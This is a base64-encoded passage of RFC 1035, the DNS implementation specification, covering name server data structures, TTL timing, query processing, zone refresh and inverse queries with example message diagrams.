2YgdGhpcyBzdHJ1Y3R1cmUgaXMgdG8gZmluZCB0aGUgbmVhcmVzdCBhbmNlc3RvcgogICAgIHpvbmUsIGlmIGFueSwgZm9yIGFycml2aW5nIHN0YW5kYXJkIHF1ZXJpZXMuCgogICAtIFNlcGFyYXRlIGRhdGEgc3RydWN0dXJlcyBmb3IgZWFjaCBvZiB0aGUgem9uZXMgaGVsZCBieSB0aGUKICAgICBuYW1lIHNlcnZlci4KCiAgIC0gQSBkYXRhIHN0cnVjdHVyZSBmb3IgY2FjaGVkIGRhdGEuIChvciBwZXJoYXBzIHNlcGFyYXRlIGNhY2hlcwogICAgIGZvciBkaWZmZXJlbnQgY2xhc3NlcykKCkFsbCBvZiB0aGVzZSBkYXRhIHN0cnVjdHVyZXMgY2FuIGJlIGltcGxlbWVudGVkIGFuIGlkZW50aWNhbCB0cmVlCnN0cnVjdHVyZSBmb3JtYXQsIHdpdGggZGlmZmVyZW50IGRhdGEgY2hhaW5lZCBvZmYgdGhlIG5vZGVzIGluIGRpZmZlcmVudApwYXJ0czogaW4gdGhlIGNhdGFsb2cgdGhlIGRhdGEgaXMgcG9pbnRlcnMgdG8gem9uZXMsIHdoaWxlIGluIHRoZSB6b25lCmFuZCBjYWNoZSBkYXRhIHN0cnVjdHVyZXMsIHRoZSBkYXRhIHdpbGwgYmUgUlJzLiAgSW4gZGVzaWduaW5nIHRoZSB0cmVlCmZyYW1ld29yayB0aGUgZGVzaWduZXIgc2hvdWxkIHJlY29nbml6ZSB0aGF0IHF1ZXJ5IHByb2Nlc3Npbmcgd2lsbCBuZWVkCnRvIHRyYXZlcnNlIHRoZSB0cmVlIHVzaW5nIGNhc2UtaW5zZW5zaXRpdmUgbGFiZWwgY29tcGFyaXNvbnM7IGFuZCB0aGF0CgoKCk1vY2thcGV0cmlzICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFtQYWdlIDM3XQoMClJGQyAxMDM1ICAgICAgICBEb21haW4gSW1wbGVtZW50YXRpb24gYW5kIFNwZWNpZmljYXRpb24gICAgTm92ZW1iZXIgMTk4NwoKCmluIHJlYWwgZGF0YSwgYSBmZXcgbm9kZXMgaGF2ZSBhIHZlcnkgaGlnaCBicmFuY2hpbmcgZmFjdG9yICgxMDAtMTAwMCBvcgptb3JlKSwgYnV0IHRoZSB2YXN0IG1ham9yaXR5IGhhdmUgYSB2ZXJ5IGxvdyBicmFuY2hpbmcgZmFjdG9yICgwLTEpLgoKT25lIHdheSB0byBzb2x2ZSB0aGUgY2FzZSBwcm9ibGVtIGlzIHRvIHN0b3JlIHRoZSBsYWJlbHMgZm9yIGVhY2ggbm9kZQppbiB0d28gcGllY2VzOiBhIHN0YW5kYXJkaXplZC1jYXNlIHJlcHJlc2VudGF0aW9uIG9mIHRoZSBsYWJlbCB3aGVyZSBhbGwKQVNDSUkgY2hhcmFjdGVycyBhcmUgaW4gYSBzaW5nbGUgY2FzZSwgdG9nZXRoZXIgd2l0aCBhIGJpdCBtYXNrIHRoYXQKZGVub3RlcyB3aGljaCBjaGFyYWN0ZXJzIGFyZSBhY3R1YWxseSBvZiBhIGRpZmZlcmVudCBjYXNlLiAgVGhlCmJyYW5jaGluZyBmYWN0b3IgZGl2ZXJzaXR5IGNhbiBiZSBoYW5kbGVkIHVzaW5nIGEgc2ltcGxlIGxpbmtlZCBsaXN0IGZvcgphIG5vZGUgdW50aWwgdGhlIGJyYW5jaGluZyBmYWN0b3IgZXhjZWVkcyBzb21lIHRocmVzaG9sZCwgYW5kCnRyYW5zaXRpb25pbmcgdG8gYSBoYXNoIHN0cnVjdHVyZSBhZnRlciB0aGUgdGhyZXNob2xkIGlzIGV4Y2VlZGVkLiAgSW4KYW55IGNhc2UsIGhhc2ggc3RydWN0dXJlcyB1c2VkIHRvIHN0b3JlIHRyZWUgc2VjdGlvbnMgbXVzdCBpbnN1cmUgdGhhdApoYXNoIGZ1bmN0aW9ucyBhbmQgcHJvY2VkdXJlcyBwcmVzZXJ2ZSB0aGUgY2FzaW5nIGNvbnZlbnRpb25zIG9mIHRoZQpETlMuCgpUaGUgdXNlIG9mIHNlcGFyYXRlIHN0cnVjdHVyZXMgZm9yIHRoZSBkaWZmZXJlbnQgcGFydHMgb2YgdGhlIGRhdGFiYXNlCmlzIG1vdGl2YXRlZCBieSBzZXZlcmFsIGZhY3RvcnM6CgogICAtIFRoZSBjYXRhbG9nIHN0cnVjdHVyZSBjYW4gYmUgYW4gYWxtb3N0IHN0YXRpYyBzdHJ1Y3R1cmUgdGhhdAogICAgIG5lZWQgY2hhbmdlIG9ubHkgd2hlbiB0aGUgc3lzdGVtIGFkbWluaXN0cmF0b3IgY2hhbmdlcyB0aGUKICAgICB6b25lcyBzdXBwb3J0ZWQgYnkgdGhlIHNlcnZlci4gIFRoaXMgc3RydWN0dXJlIGNhbiBhbHNvIGJlCiAgICAgdXNlZCB0byBzdG9yZSBwYXJhbWV0ZXJzIHVzZWQgdG8gY29udHJvbCByZWZyZXNoaW5nCiAgICAgYWN0aXZpdGllcy4KCiAgIC0gVGhlIGluZGl2aWR1YWwgZGF0YSBzdHJ1Y3R1cmVzIGZvciB6b25lcyBhbGxvdyBhIHpvbmUgdG8gYmUKICAgICByZXBsYWNlZCBzaW1wbHkgYnkgY2hhbmdpbmcgYSBwb2ludGVyIGluIHRoZSBjYXRhbG9nLiAgWm9uZQogICAgIHJlZnJlc2ggb3BlcmF0aW9ucyBjYW4gYnVpbGQgYSBuZXcgc3RydWN0dXJlIGFuZCwgd2hlbgogICAgIGNvbXBsZXRlLCBzcGxpY2UgaXQgaW50byB0aGUgZGF0YWJhc2UgdmlhIGEgc2ltcGxlIHBvaW50ZXIKICAgICByZXBsYWNlbWVudC4gIEl0IGlzIHZlcnkgaW1wb3J0YW50IHRoYXQgd2hlbiBhIHpvbmUgaXMKICAgICByZWZyZXNoZWQsIHF1ZXJpZXMgc2hvdWxkIG5vdCB1c2Ugb2xkIGFuZCBuZXcgZGF0YQogICAgIHNpbXVsdGFuZW91c2x5LgoKICAgLSBXaXRoIHRoZSBwcm9wZXIgc2VhcmNoIHByb2NlZHVyZXMsIGF1dGhvcml0YXRpdmUgZGF0YSBpbiB6b25lcwogICAgIHdpbGwgYWx3YXlzICJoaWRlIiwgYW5kIGhlbmNlIHRha2UgcHJlY2VkZW5jZSBvdmVyLCBjYWNoZWQKICAgICBkYXRhLgoKICAgLSBFcnJvcnMgaW4gem9uZSBkZWZpbml0aW9ucyB0aGF0IGNhdXNlIG92ZXJsYXBwaW5nIHpvbmVzLCBldGMuLAogICAgIG1heSBjYXVzZSBlcnJvbmVvdXMgcmVzcG9uc2VzIHRvIHF1ZXJpZXMsIGJ1dCBwcm9ibGVtCiAgICAgZGV0ZXJtaW5hdGlvbiBpcyBzaW1wbGlmaWVkLCBhbmQgdGhlIGNvbnRlbnRzIG9mIG9uZSAiYmFkIgogICAgIHpvbmUgY2FuJ3QgY29ycnVwdCBhbm90aGVyLgoKICAgLSBTaW5jZSB0aGUgY2FjaGUgaXMgbW9zdCBmcmVxdWVudGx5IHVwZGF0ZWQsIGl0IGlzIG1vc3QKICAgICB2dWxuZXJhYmxlIHRvIGNvcnJ1cHRpb24gZHVyaW5nIHN5c3RlbSByZXN0YXJ0cy4gIEl0IGNhbiBhbHNvCiAgICAgYmVjb21lIGZ1bGwgb2YgZXhwaXJlZCBSUiBkYXRhLiAgSW4gZWl0aGVyIGNhc2UsIGl0IGNhbiBlYXNpbHkKICAgICBiZSBkaXNjYXJkZWQgd2l0aG91dCBkaXN0dXJiaW5nIHpvbmUgZGF0YS4KCkEgbWFqb3IgYXNwZWN0IG9mIGRhdGFiYXNlIGRlc2lnbiBpcyBzZWxlY3RpbmcgYSBzdHJ1Y3R1cmUgd2hpY2ggYWxsb3dzCnRoZSBuYW1lIHNlcnZlciB0byBkZWFsIHdpdGggY3Jhc2hlcyBvZiB0aGUgbmFtZSBzZXJ2ZXIncyBob3N0LiAgU3RhdGUKaW5mb3JtYXRpb24gd2hpY2ggYSBuYW1lIHNlcnZlciBzaG91bGQgc2F2ZSBhY3Jvc3Mgc3lzdGVtIGNyYXNoZXMKCgoKTW9ja2FwZXRyaXMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgW1BhZ2UgMzhdCgwKUkZDIDEwMzUgICAgICAgIERvbWFpbiBJbXBsZW1lbnRhdGlvbiBhbmQgU3BlY2lmaWNhdGlvbiAgICBOb3ZlbWJlciAxOTg3CgoKaW5jbHVkZXMgdGhlIGNhdGFsb2cgc3RydWN0dXJlIChpbmNsdWRpbmcgdGhlIHN0YXRlIG9mIHJlZnJlc2hpbmcgZm9yCmVhY2ggem9uZSkgYW5kIHRoZSB6b25lIGRhdGEgaXRzZWxmLgoKNi4xLjMuIFRpbWUKCkJvdGggdGhlIFRUTCBkYXRhIGZvciBSUnMgYW5kIHRoZSB0aW1pbmcgZGF0YSBmb3IgcmVmcmVzaGluZyBhY3Rpdml0aWVzCmRlcGVuZHMgb24gMzIgYml0IHRpbWVycyBpbiB1bml0cyBvZiBzZWNvbmRzLiAgSW5zaWRlIHRoZSBkYXRhYmFzZSwKcmVmcmVzaCB0aW1lcnMgYW5kIFRUTHMgZm9yIGNhY2hlZCBkYXRhIGNvbmNlcHR1YWxseSAiY291bnQgZG93biIsIHdoaWxlCmRhdGEgaW4gdGhlIHpvbmUgc3RheXMgd2l0aCBjb25zdGFudCBUVExzLgoKQSByZWNvbW1lbmRlZCBpbXBsZW1lbnRhdGlvbiBzdHJhdGVneSBpcyB0byBzdG9yZSB0aW1lIGluIHR3byB3YXlzOiAgYXMKYSByZWxhdGl2ZSBpbmNyZW1lbnQgYW5kIGFzIGFuIGFic29sdXRlIHRpbWUuICBPbmUgd2F5IHRvIGRvIHRoaXMgaXMgdG8KdXNlIHBvc2l0aXZlIDMyIGJpdCBudW1iZXJzIGZvciBvbmUgdHlwZSBhbmQgbmVnYXRpdmUgbnVtYmVycyBmb3IgdGhlCm90aGVyLiAgVGhlIFJScyBpbiB6b25lcyB1c2UgcmVsYXRpdmUgdGltZXM7IHRoZSByZWZyZXNoIHRpbWVycyBhbmQKY2FjaGUgZGF0YSB1c2UgYWJzb2x1dGUgdGltZXMuICBBYnNvbHV0ZSBudW1iZXJzIGFyZSB0YWtlbiB3aXRoIHJlc3BlY3QKdG8gc29tZSBrbm93biBvcmlnaW4gYW5kIGNvbnZlcnRlZCB0byByZWxhdGl2ZSB2YWx1ZXMgd2hlbiBwbGFjZWQgaW4gdGhlCnJlc3BvbnNlIHRvIGEgcXVlcnkuICBXaGVuIGFuIGFic29sdXRlIFRUTCBpcyBuZWdhdGl2ZSBhZnRlciBjb252ZXJzaW9uCnRvIHJlbGF0aXZlLCB0aGVuIHRoZSBkYXRhIGlzIGV4cGlyZWQgYW5kIHNob3VsZCBiZSBpZ25vcmVkLgoKNi4yLiBTdGFuZGFyZCBxdWVyeSBwcm9jZXNzaW5nCgpUaGUgbWFqb3IgYWxnb3JpdGhtIGZvciBzdGFuZGFyZCBxdWVyeSBwcm9jZXNzaW5nIGlzIHByZXNlbnRlZCBpbgpbUkZDLTEwMzRdLgoKV2hlbiBwcm9jZXNzaW5nIHF1ZXJpZXMgd2l0aCBRQ0xBU1M9Kiwgb3Igc29tZSBvdGhlciBRQ0xBU1Mgd2hpY2gKbWF0Y2hlcyBtdWx0aXBsZSBjbGFzc2VzLCB0aGUgcmVzcG9uc2Ugc2hvdWxkIG5ldmVyIGJlIGF1dGhvcml0YXRpdmUKdW5sZXNzIHRoZSBzZXJ2ZXIgY2FuIGd1YXJhbnRlZSB0aGF0IHRoZSByZXNwb25zZSBjb3ZlcnMgYWxsIGNsYXNzZXMuCgpXaGVuIGNvbXBvc2luZyBhIHJlc3BvbnNlLCBSUnMgd2hpY2ggYXJlIHRvIGJlIGluc2VydGVkIGluIHRoZQphZGRpdGlvbmFsIHNlY3Rpb24sIGJ1dCBkdXBsaWNhdGUgUlJzIGluIHRoZSBhbnN3ZXIgb3IgYXV0aG9yaXR5CnNlY3Rpb25zLCBtYXkgYmUgb21pdHRlZCBmcm9tIHRoZSBhZGRpdGlvbmFsIHNlY3Rpb24uCgpXaGVuIGEgcmVzcG9uc2UgaXMgc28gbG9uZyB0aGF0IHRydW5jYXRpb24gaXMgcmVxdWlyZWQsIHRoZSB0cnVuY2F0aW9uCnNob3VsZCBzdGFydCBhdCB0aGUgZW5kIG9mIHRoZSByZXNwb25zZSBhbmQgd29yayBmb3J3YXJkIGluIHRoZQpkYXRhZ3JhbS4gIFRodXMgaWYgdGhlcmUgaXMgYW55IGRhdGEgZm9yIHRoZSBhdXRob3JpdHkgc2VjdGlvbiwgdGhlCmFuc3dlciBzZWN0aW9uIGlzIGd1YXJhbnRlZWQgdG8gYmUgdW5pcXVlLgoKVGhlIE1JTklNVU0gdmFsdWUgaW4gdGhlIFNPQSBzaG91bGQgYmUgdXNlZCB0byBzZXQgYSBmbG9vciBvbiB0aGUgVFRMIG9mCmRhdGEgZGlzdHJpYnV0ZWQgZnJvbSBhIHpvbmUuICBUaGlzIGZsb29yIGZ1bmN0aW9uIHNob3VsZCBiZSBkb25lIHdoZW4KdGhlIGRhdGEgaXMgY29waWVkIGludG8gYSByZXNwb25zZS4gIFRoaXMgd2lsbCBhbGxvdyBmdXR1cmUgZHluYW1pYwp1cGRhdGUgcHJvdG9jb2xzIHRvIGNoYW5nZSB0aGUgU09BIE1JTklNVU0gZmllbGQgd2l0aG91dCBhbWJpZ3VvdXMKc2VtYW50aWNzLgoKNi4zLiBab25lIHJlZnJlc2ggYW5kIHJlbG9hZCBwcm9jZXNzaW5nCgpJbiBzcGl0ZSBvZiBhIHNlcnZlcidzIGJlc3QgZWZmb3J0cywgaXQgbWF5IGJlIHVuYWJsZSB0byBsb2FkIHpvbmUgZGF0YQpmcm9tIGEgbWFzdGVyIGZpbGUgZHVlIHRvIHN5bnRheCBlcnJvcnMsIGV0Yy4sIG9yIGJlIHVuYWJsZSB0byByZWZyZXNoIGEKem9uZSB3aXRoaW4gdGhlIGl0cyBleHBpcmF0aW9uIHBhcmFtZXRlci4gIEluIHRoaXMgY2FzZSwgdGhlIG5hbWUgc2VydmVyCgoKCk1vY2thcGV0cmlzICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFtQYWdlIDM5XQoMClJGQyAxMDM1ICAgICAgICBEb21haW4gSW1wbGVtZW50YXRpb24gYW5kIFNwZWNpZmljYXRpb24gICAgTm92ZW1iZXIgMTk4NwoKCnNob3VsZCBhbnN3ZXIgcXVlcmllcyBhcyBpZiBpdCB3ZXJlIG5vdCBzdXBwb3NlZCB0byBwb3NzZXNzIHRoZSB6b25lLgoKSWYgYSBtYXN0ZXIgaXMgc2VuZGluZyBhIHpvbmUgb3V0IHZpYSBBWEZSLCBhbmQgYSBuZXcgdmVyc2lvbiBpcyBjcmVhdGVkCmR1cmluZyB0aGUgdHJhbnNmZXIsIHRoZSBtYXN0ZXIgc2hvdWxkIGNvbnRpbnVlIHRvIHNlbmQgdGhlIG9sZCB2ZXJzaW9uCmlmIHBvc3NpYmxlLiAgSW4gYW55IGNhc2UsIGl0IHNob3VsZCBuZXZlciBzZW5kIHBhcnQgb2Ygb25lIHZlcnNpb24gYW5kCnBhcnQgb2YgYW5vdGhlci4gIElmIGNvbXBsZXRpb24gaXMgbm90IHBvc3NpYmxlLCB0aGUgbWFzdGVyIHNob3VsZCByZXNldAp0aGUgY29ubmVjdGlvbiBvbiB3aGljaCB0aGUgem9uZSB0cmFuc2ZlciBpcyB0YWtpbmcgcGxhY2UuCgo2LjQuIEludmVyc2UgcXVlcmllcyAoT3B0aW9uYWwpCgpJbnZlcnNlIHF1ZXJpZXMgYXJlIGFuIG9wdGlvbmFsIHBhcnQgb2YgdGhlIEROUy4gIE5hbWUgc2VydmVycyBhcmUgbm90CnJlcXVpcmVkIHRvIHN1cHBvcnQgYW55IGZvcm0gb2YgaW52ZXJzZSBxdWVyaWVzLiAgSWYgYSBuYW1lIHNlcnZlcgpyZWNlaXZlcyBhbiBpbnZlcnNlIHF1ZXJ5IHRoYXQgaXQgZG9lcyBub3Qgc3VwcG9ydCwgaXQgcmV0dXJucyBhbiBlcnJvcgpyZXNwb25zZSB3aXRoIHRoZSAiTm90IEltcGxlbWVudGVkIiBlcnJvciBzZXQgaW4gdGhlIGhlYWRlci4gIFdoaWxlCmludmVyc2UgcXVlcnkgc3VwcG9ydCBpcyBvcHRpb25hbCwgYWxsIG5hbWUgc2VydmVycyBtdXN0IGJlIGF0IGxlYXN0CmFibGUgdG8gcmV0dXJuIHRoZSBlcnJvciByZXNwb25zZS4KCjYuNC4xLiBUaGUgY29udGVudHMgb2YgaW52ZXJzZSBxdWVyaWVzIGFuZCByZXNwb25zZXMgICAgICAgICAgSW52ZXJzZQpxdWVyaWVzIHJldmVyc2UgdGhlIG1hcHBpbmdzIHBlcmZvcm1lZCBieSBzdGFuZGFyZCBxdWVyeSBvcGVyYXRpb25zOwp3aGlsZSBhIHN0YW5kYXJkIHF1ZXJ5IG1hcHMgYSBkb21haW4gbmFtZSB0byBhIHJlc291cmNlLCBhbiBpbnZlcnNlCnF1ZXJ5IG1hcHMgYSByZXNvdXJjZSB0byBhIGRvbWFpbiBuYW1lLiAgRm9yIGV4YW1wbGUsIGEgc3RhbmRhcmQgcXVlcnkKbWlnaHQgYmluZCBhIGRvbWFpbiBuYW1lIHRvIGEgaG9zdCBhZGRyZXNzOyB0aGUgY29ycmVzcG9uZGluZyBpbnZlcnNlCnF1ZXJ5IGJpbmRzIHRoZSBob3N0IGFkZHJlc3MgdG8gYSBkb21haW4gbmFtZS4KCkludmVyc2UgcXVlcmllcyB0YWtlIHRoZSBmb3JtIG9mIGEgc2luZ2xlIFJSIGluIHRoZSBhbnN3ZXIgc2VjdGlvbiBvZgp0aGUgbWVzc2FnZSwgd2l0aCBhbiBlbXB0eSBxdWVzdGlvbiBzZWN0aW9uLiAgVGhlIG93bmVyIG5hbWUgb2YgdGhlCnF1ZXJ5IFJSIGFuZCBpdHMgVFRMIGFyZSBub3Qgc2lnbmlmaWNhbnQuICBUaGUgcmVzcG9uc2UgY2FycmllcwpxdWVzdGlvbnMgaW4gdGhlIHF1ZXN0aW9uIHNlY3Rpb24gd2hpY2ggaWRlbnRpZnkgYWxsIG5hbWVzIHBvc3Nlc3NpbmcKdGhlIHF1ZXJ5IFJSIFdISUNIIFRIRSBOQU1FIFNFUlZFUiBLTk9XUy4gIFNpbmNlIG5vIG5hbWUgc2VydmVyIGtub3dzCmFib3V0IGFsbCBvZiB0aGUgZG9tYWluIG5hbWUgc3BhY2UsIHRoZSByZXNwb25zZSBjYW4gbmV2ZXIgYmUgYXNzdW1lZCB0bwpiZSBjb21wbGV0ZS4gIFRodXMgaW52ZXJzZSBxdWVyaWVzIGFyZSBwcmltYXJpbHkgdXNlZnVsIGZvciBkYXRhYmFzZQptYW5hZ2VtZW50IGFuZCBkZWJ1Z2dpbmcgYWN0aXZpdGllcy4gIEludmVyc2UgcXVlcmllcyBhcmUgTk9UIGFuCmFjY2VwdGFibGUgbWV0aG9kIG9mIG1hcHBpbmcgaG9zdCBhZGRyZXNzZXMgdG8gaG9zdCBuYW1lczsgdXNlIHRoZSBJTi0KQUREUi5BUlBBIGRvbWFpbiBpbnN0ZWFkLgoKV2hlcmUgcG9zc2libGUsIG5hbWUgc2VydmVycyBzaG91bGQgcHJvdmlkZSBjYXNlLWluc2Vuc2l0aXZlIGNvbXBhcmlzb25zCmZvciBpbnZlcnNlIHF1ZXJpZXMuICBUaHVzIGFuIGludmVyc2UgcXVlcnkgYXNraW5nIGZvciBhbiBNWCBSUiBvZgoiVmVuZXJhLmlzaS5lZHUiIHNob3VsZCBnZXQgdGhlIHNhbWUgcmVzcG9uc2UgYXMgYSBxdWVyeSBmb3IKIlZFTkVSQS5JU0kuRURVIjsgYW4gaW52ZXJzZSBxdWVyeSBmb3IgSElORk8gUlIgIklCTS1QQyBVTklYIiBzaG91bGQKcHJvZHVjZSB0aGUgc2FtZSByZXN1bHQgYXMgYW4gaW52ZXJzZSBxdWVyeSBmb3IgIklCTS1wYyB1bml4Ii4gIEhvd2V2ZXIsCnRoaXMgY2Fubm90IGJlIGd1YXJhbnRlZWQgYmVjYXVzZSBuYW1lIHNlcnZlcnMgbWF5IHBvc3Nlc3MgUlJzIHRoYXQKY29udGFpbiBjaGFyYWN0ZXIgc3RyaW5ncyBidXQgdGhlIG5hbWUgc2VydmVyIGRvZXMgbm90IGtub3cgdGhhdCB0aGUKZGF0YSBpcyBjaGFyYWN0ZXIuCgpXaGVuIGEgbmFtZSBzZXJ2ZXIgcHJvY2Vzc2VzIGFuIGludmVyc2UgcXVlcnksIGl0IGVpdGhlciByZXR1cm5zOgoKICAgMS4gemVybywgb25lLCBvciBtdWx0aXBsZSBkb21haW4gbmFtZXMgZm9yIHRoZSBzcGVjaWZpZWQKICAgICAgcmVzb3VyY2UgYXMgUU5BTUVzIGluIHRoZSBxdWVzdGlvbiBzZWN0aW9uCgoKCk1vY2thcGV0cmlzICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFtQYWdlIDQwXQoMClJGQyAxMDM1ICAgICAgICBEb21haW4gSW1wbGVtZW50YXRpb24gYW5kIFNwZWNpZmljYXRpb24gICAgTm92ZW1iZXIgMTk4NwoKCiAgIDIuIGFuIGVycm9yIGNvZGUgaW5kaWNhdGluZyB0aGF0IHRoZSBuYW1lIHNlcnZlciBkb2Vzbid0IHN1cHBvcnQKICAgICAgaW52ZXJzZSBtYXBwaW5nIG9mIHRoZSBzcGVjaWZpZWQgcmVzb3VyY2UgdHlwZS4KCldoZW4gdGhlIHJlc3BvbnNlIHRvIGFuIGludmVyc2UgcXVlcnkgY29udGFpbnMgb25lIG9yIG1vcmUgUU5BTUVzLCB0aGUKb3duZXIgbmFtZSBhbmQgVFRMIG9mIHRoZSBSUiBpbiB0aGUgYW5zd2VyIHNlY3Rpb24gd2hpY2ggZGVmaW5lcyB0aGUKaW52ZXJzZSBxdWVyeSBpcyBtb2RpZmllZCB0byBleGFjdGx5IG1hdGNoIGFuIFJSIGZvdW5kIGF0IHRoZSBmaXJzdApRTkFNRS4KClJScyByZXR1cm5lZCBpbiB0aGUgaW52ZXJzZSBxdWVyaWVzIGNhbm5vdCBiZSBjYWNoZWQgdXNpbmcgdGhlIHNhbWUKbWVjaGFuaXNtIGFzIGlzIHVzZWQgZm9yIHRoZSByZXBsaWVzIHRvIHN0YW5kYXJkIHF1ZXJpZXMuICBPbmUgcmVhc29uCmZvciB0aGlzIGlzIHRoYXQgYSBuYW1lIG1pZ2h0IGhhdmUgbXVsdGlwbGUgUlJzIG9mIHRoZSBzYW1lIHR5cGUsIGFuZApvbmx5IG9uZSB3b3VsZCBhcHBlYXIuICBGb3IgZXhhbXBsZSwgYW4gaW52ZXJzZSBxdWVyeSBmb3IgYSBzaW5nbGUKYWRkcmVzcyBvZiBhIG11bHRpcGx5IGhvbWVkIGhvc3QgbWlnaHQgY3JlYXRlIHRoZSBpbXByZXNzaW9uIHRoYXQgb25seQpvbmUgYWRkcmVzcyBleGlzdGVkLgoKNi40LjIuIEludmVyc2UgcXVlcnkgYW5kIHJlc3BvbnNlIGV4YW1wbGUgICAgICAgICAgVGhlIG92ZXJhbGwgc3RydWN0dXJlCm9mIGFuIGludmVyc2UgcXVlcnkgZm9yIHJldHJpZXZpbmcgdGhlIGRvbWFpbiBuYW1lIHRoYXQgY29ycmVzcG9uZHMgdG8KSW50ZXJuZXQgYWRkcmVzcyAxMC4xLjAuNTIgaXMgc2hvd24gYmVsb3c6CgogICAgICAgICAgICAgICAgICAgICAgICAgKy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tKwogICAgICAgICAgIEhlYWRlciAgICAgICAgfCAgICAgICAgICBPUENPREU9SVFVRVJZLCBJRD05OTcgICAgICAgICAgfAogICAgICAgICAgICAgICAgICAgICAgICAgKy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tKwogICAgICAgICAgUXVlc3Rpb24gICAgICAgfCAgICAgICAgICAgICAgICAgPGVtcHR5PiAgICAgICAgICAgICAgICAgfAogICAgICAgICAgICAgICAgICAgICAgICAgKy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tKwogICAgICAgICAgIEFuc3dlciAgICAgICAgfCAgICAgICAgPGFueW5hbWU+IEEgSU4gMTAuMS4wLjUyICAgICAgICAgfAogICAgICAgICAgICAgICAgICAgICAgICAgKy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tKwogICAgICAgICAgQXV0aG9yaXR5ICAgICAgfCAgICAgICAgICAgICAgICAgPGVtcHR5PiAgICAgICAgICAgICAgICAgfAogICAgICAgICAgICAgICAgICAgICAgICAgKy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tKwogICAgICAgICBBZGRpdGlvbmFsICAgICAgfCAgICAgICAgICAgICAgICAgPGVtcHR5PiAgICAgICAgICAgICAgICAgfAogICAgICAgICAgICAgICAgICAgICAgICAgKy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tKwoKVGhpcyBxdWVyeSBhc2tzIGZvciBhIHF1ZXN0aW9uIHdob3NlIGFuc3dlciBpcyB0aGUgSW50ZXJuZXQgc3R5bGUKYWRkcmVzcyAxMC4xLjAuNTIuICBTaW5jZSB0aGUgb3duZXIgbmFtZSBpcyBub3Qga25vd24sIGFueSBkb21haW4gbmFtZQpjYW4gYmUgdXNlZCBhcyBhIHBsYWNlaG9sZGVyIChhbmQgaXMgaWdub3JlZCkuICBBIHNpbmdsZSBvY3RldCBvZiB6ZXJvLApzaWduaWZ5aW5nIHRoZSByb290LCBpcyB1c3VhbGx5IHVzZWQgYmVjYXVzZSBpdCBtaW5pbWl6ZXMgdGhlIGxlbmd0aCBvZgp0aGUgbWVzc2FnZS4gIFRoZSBUVEwgb2YgdGhlIFJSIGlzIG5vdCBzaWduaWZpY2FudC4gIFRoZSByZXNwb25zZSB0bwp0aGlzIHF1ZXJ5IG1pZ2h0IGJlOgoKCgoKCgoKCgoKCgoKCk1vY2thcGV0cmlzICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFtQYWdlIDQxXQoMClJGQyAxMDM1ICAgICAgICBEb21haW4gSW1wbGVtZW50YXRpb24gYW5kIFNwZWNpZmljYXRpb24gICAgTm92ZW1iZXIgMTk4NwoKCiAgICAgICAgICAgICAgICAgICAgICAgICArLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0rCiAgICAgICAgICAgSGVhZGVyICAgICAgICB8ICAgICAgICAgT1BDT0RFPVJFU1BPTlNFLCBJRD05OTcgICAgICAgICB8CiAgICAgICAgICAgICAgICAgICAgICAgICArLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0rCiAgICAgICAgICBRdWVzdGlvbiAgICAgICB8UVRZUEU9QSwgUUNMQVNTPUlOLCBRTkFNRT1WRU5FUkEuSVNJLkVEVSB8CiAgICAgICAgICAgICAgICAgICAgICAgICArLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0rCiAgICAgICAgICAgQW5zd2VyICAgICAgICB8ICBWRU5FUkEuSVNJLkVEVSAgQSBJTiAxMC4xLjAuNTIgICAgICAgICB8CiAgICAgICAgICAgICAgICAgICAgICAgICArLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0rCiAgICAgICAgICBBdXRob3JpdHkgICAgICB8ICAgICAgICAgICAgICAgICA8ZW1wdHk+ICAgICAgICAgICAgICAgICB8CiAgICAgICAgICAgICAgICAgICAgICAgICArLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0rCiAgICAgICAgIEFkZGl0aW9uYWwgICAgICB8ICAgICAgICAgICAgICAgICA8ZW1wdHk+ICAgICAgICAgICAgICAgICB8CiAgICAgICAgICAgICAgICAgICAgICAgICArLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0rCgpOb3RlIHRoYXQgdGhlIFFUWVBFIGluIGEgcmVzcG9uc2UgdG8gYW4gaW52ZXJzZSBxdWVyeSBpcyB0aGUgc2FtZSBhcyB0aGUKVFlQRSBmaWVsZCBpbiB0aGUgYW5zd2VyIHNlY3Rpb24gb2YgdGhlIGludmVyc2UgcXVlcnkuICBSZXNwb25zZXMgdG8KaW52ZXJzZSBxdWVyaWVzIG1heSBjb250YWluIG11bHRpcGxlIHF1ZXN0aW9ucyB3aGVuIHRoZSBpbnZlcnNlIGlzIG5vdAp1bmlxdWUuICBJZiB0aGUgcXVlc3Rpb24gc2VjdGlvbiBpbiB0aGUgcmVzcG9uc2UgaXMgbm90IGVtcHR5LCB0aGVuIHRoZQpSUiBpbiB0aGUgYW5zd2VyIHNlY3Rpb24gaXMgbW9kaWZpZWQgdG8gY29ycmVzcG9uZCB0byBiZSBhbiBleGFjdCBjb3B5Cm9mIGFuIFJSIGF0IHRoZSBmaXJzdCBRTkFNRS4KCjYuNC4zLiBJbn